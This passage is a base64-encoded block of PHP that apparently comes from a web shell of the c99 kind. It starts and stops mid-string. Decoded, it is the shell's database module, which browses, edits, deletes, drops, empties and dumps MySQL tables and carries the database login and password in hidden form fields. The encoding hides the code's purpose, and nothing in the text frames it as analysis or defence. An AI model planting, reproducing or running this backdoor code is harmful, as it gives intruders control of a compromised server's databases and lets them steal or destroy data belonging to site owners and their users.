F9xdWVyeSgiU0VMRUNUIENPVU5UKCopIEZST00gYCIuJHNxbF90YmwuImA7Iik7DQogICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsNCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7DQogICAgICAkdGJsX3N0cnVjdF9yZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgICR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3VsdCkpIHskdGJsX3N0cnVjdF9maWVsZHNbXSA9ICRyb3c7fQ0KICAgICAgaWYgKCRzcWxfbHMgPiAkc3FsX2xlKSB7JHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTt9DQogICAgICBpZiAoZW1wdHkoJHNxbF90YmxfcGFnZSkpIHskc3FsX3RibF9wYWdlID0gMDt9DQogICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNxbF90YmxfbHMgPSAwO30NCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9sZSkpIHskc3FsX3RibF9sZSA9IDMwO30NCiAgICAgICRwZXJwYWdlID0gJHNxbF90YmxfbGUgLSAkc3FsX3RibF9sczsNCiAgICAgIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30NCiAgICAgICRudW1wYWdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7DQogICAgICAkZSA9IGV4cGxvZGUoIiAiLCRzcWxfb3JkZXIpOw0KICAgICAgaWYgKGNvdW50KCRlKSA9PSAyKSB7DQogICAgICAgIGlmICgkZVswXSA9PSAiZCIpIHskYXNjX2Rlc2MgPSAiREVTQyI7fQ0KICAgICAgICBlbHNlIHskYXNjX2Rlc2MgPSAiQVNDIjt9DQogICAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsNCiAgICAgIH0NCiAgICAgIGVsc2UgeyR2ID0gIiI7fQ0KICAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsNCiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfeD1zdHJ1Y3R1cmVcIj5bPGI+IFN0cnVjdHVyZSA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfeD1icm93c2VcIj5bPGI+IEJyb3dzZSA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF94PXRibGR1bXAmdGhpc3RibD0xXCI+WzxiPiBEdW1wIDwvYj5dPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWluc2VydFwiPlsmbmJzcDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgaWYgKCRzcWxfdGJsX3ggPT0gInN0cnVjdHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb29vbiE8L2I+Ijt9DQogICAgICBpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0Iikgew0KICAgICAgICBpZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30NCiAgICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKSB7ICB9IC8vTm90IFJlYWR5DQogICAgICAgIGVsc2Ugew0KICAgICAgICAgIGVjaG8gIjxicj48YnI+PGI+SW5zZXJ0aW5nIHJvdyBpbnRvIHRhYmxlOjwvYj48YnI+IjsNCiAgICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgew0KICAgICAgICAgICAgJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsNCiAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7DQogICAgICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgTElNSVQgMTsiOw0KICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICAgICAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQogICAgICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICAgICB9DQogICAgICAgICAgZWxzZSB7JHZhbHVlcyA9IGFycmF5KCk7fQ0KICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48dGFibGUgd2lkdGg9XCIxJVwiIGJvcmRlcj0xPjx0cj48dGQ+PGI+RmllbGQ8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0ZD48Yj5GdW5jdGlvbjwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgICAgICBmb3JlYWNoICgkdGJsX3N0cnVjdF9maWVsZHMgYXMgJGZpZWxkKSB7DQogICAgICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHskdiA9ICIiO30NCiAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iPC9iPjwvdGQ+PHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dPUkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxvcHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29wdGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9uPjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiXCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNFPC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlvbj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RBWVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9BREQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9vcHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9uPjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAkaSsrOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlY2hvICI8L3RhYmxlPjxicj4iOw0KICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsNCiAgICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQ0KICAgICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfdGJsX3ggPT0gImJyb3dzZSIpIHsNCiAgICAgICAgJHNxbF90YmxfbHMgPSBhYnMoJHNxbF90YmxfbHMpOw0KICAgICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7DQogICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgICAgZWNobyAiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9bXVsdGlwYWdlXCIgaGVpZ2h0PVwiMTJcIiB3aWR0aD1cIjEwXCIgYWx0PVwiUGFnZXNcIj4mbmJzcDsiOw0KICAgICAgICAkYiA9IDA7DQogICAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKSB7DQogICAgICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9DQogICAgICAgICAgZWNobyAkaTsNCiAgICAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30NCiAgICAgICAgICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQ0KICAgICAgICAgIGVsc2Uge2VjaG8gIiZuYnNwOyI7fQ0KICAgICAgICB9DQogICAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiJcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOw0KICAgICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+IjsNCiAgICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd19hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPiI7DQogICAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspIHsNCiAgICAgICAgICAkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7DQogICAgICAgICAgaWYgKCRlWzBdID09ICJhIikgeyRzID0gImQiOyAkbSA9ICJhc2MiO30NCiAgICAgICAgICBlbHNlIHskcyA9ICJhIjsgJG0gPSAiZGVzYyI7fQ0KICAgICAgICAgIGVjaG8gIjx0ZD4iOw0KICAgICAgICAgIGlmIChlbXB0eSgkZVswXSkpIHskZVswXSA9ICJhIjt9DQogICAgICAgICAgaWYgKCRlWzFdICE9ICR2KSB7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kZVswXS4iJTIwIi4kdi4iXCI+PGI+Ii4kdi4iPC9iPjwvYT4iO30NCiAgICAgICAgICBlbHNlIHtlY2hvICI8Yj4iLiR2LiI8L2I+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kcy4iJTIwIi4kdi4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF8iLiRtLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30NCiAgICAgICAgICBlY2hvICI8L3RkPiI7DQogICAgICAgIH0NCiAgICAgIGVjaG8gIjx0ZD48Zm9udCBjb2xvcj1cImdyZWVuXCI+PGI+QWN0aW9uPC9iPjwvZm9udD48L3RkPiI7DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkgew0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICR3ID0gIiI7DQogICAgICAgJGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzt9DQogICAgICAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyR3ID0gc3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjsNCiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpDQogICAgICAgew0KICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOw0KICAgICAgICBpZiAoJHYgPT0gIiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30NCiAgICAgICAgZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsNCiAgICAgICAgJGkrKzsNCiAgICAgICB9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRGVsZXRlXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOw0KICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJFZGl0XCIgaGVpZ2h0PVwiMTRcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOw0KICAgICAgIGVjaG8gIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICB9DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX3hcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQogICAgIH0NCiAgICB9DQogICAgZWxzZSB7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3NvY2spOw0KICAgICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibF9hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPjx0ZD48Y2VudGVyPjxiPlRhYmxlPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxiPlJvd3M8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0ZD48Yj5DcmVhdGVkPC9iPjwvdGQ+PHRkPjxiPk1vZGlmaWVkPC9iPjwvdGQ+PHRkPjxiPlNpemU8L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOw0KICAgICAgJGkgPSAwOw0KICAgICAgJHRzaXplID0gJHRyb3dzID0gMDsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQ0KICAgICAgew0KICAgICAgICR0c2l6ZSArPSAkcm93WyJEYXRhX2xlbmd0aCJdOw0KICAgICAgICR0cm93cyArPSAkcm93WyJSb3dzIl07DQogICAgICAgJHNpemUgPSB2aWV3X3NpemUoJHJvd1siRGF0YV9sZW5ndGgiXSk7DQogICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsW11cIiB2YWx1ZT1cIiIuJHJvd1siTmFtZSJdLiJcIj48L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkcm93WyJOYW1lIl0pLiJcIj48Yj4iLiRyb3dbIk5hbWUiXS4iPC9iPjwvYT4mbmJzcDs8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siUm93cyJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVHlwZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siQ3JlYXRlX3RpbWUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlVwZGF0ZV90aW1lIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kc2l6ZS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRyb3BcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zcWxfYnV0dG9uX2luc2VydFwiIGFsdD1cIkluc2VydFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PC90ZD4iOw0KICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRyIGJnY29sb3I9XCIwMDAwMDBcIj4iOw0KICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+KzwvYj48L2NlbnRlcj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4iLiRpLiIgdGFibGUocyk8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxiPiIuJHRyb3dzLiI8L2I+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMF0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTFdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGI+Ii52aWV3X3NpemUoJHRzaXplKS4iPC9iPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48L3RkPiI7DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfeFwiPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGRyb3BcIj5Ecm9wPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxlbXB0eVwiPkVtcHR5PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsY2hlY2tcIj5DaGVjayB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsb3B0aW1pemVcIj5PcHRpbWl6ZSB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ